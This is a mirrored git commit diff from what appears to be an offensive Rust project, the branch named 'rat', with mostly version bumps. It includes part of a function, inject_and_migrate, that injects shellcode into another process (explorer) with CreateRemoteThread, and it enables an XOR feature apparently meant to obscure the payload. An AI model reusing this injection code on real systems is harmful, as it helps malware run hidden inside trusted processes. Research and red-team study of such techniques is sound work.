mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
Merge branch 'master' into rat
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "xor_params",
|
||||
"message": "1.1.1",
|
||||
"message": "1.1.2",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -68,7 +68,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateRemoteThread.html
|
||||
let start_address_option = unsafe { Some(mem::transmute(base_address)) };
|
||||
if let Err(_) = unsafe { CreateRemoteThread(explorer_handle, ptr::null(), 0, start_address_option, ptr::null(), 0, ptr::null_mut()) } {
|
||||
if unsafe { CreateRemoteThread(explorer_handle, ptr::null(), 0, start_address_option, ptr::null(), 0, ptr::null_mut()) }.is_err() {
|
||||
panic!("CreateRemoteThread failed");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "xor_params"
|
||||
version = "1.1.1"
|
||||
version = "1.1.2"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
rust-version = "1.59"
|
||||
@@ -9,4 +9,4 @@ rust-version = "1.59"
|
||||
|
||||
[dependencies]
|
||||
rco_config = {path = "../rco_config"}
|
||||
rco_utils = {path = "../rco_utils"}
|
||||
rco_utils = {path = "../rco_utils", features = ["xor"] }
|
||||
|
||||
Reference in New Issue
Block a user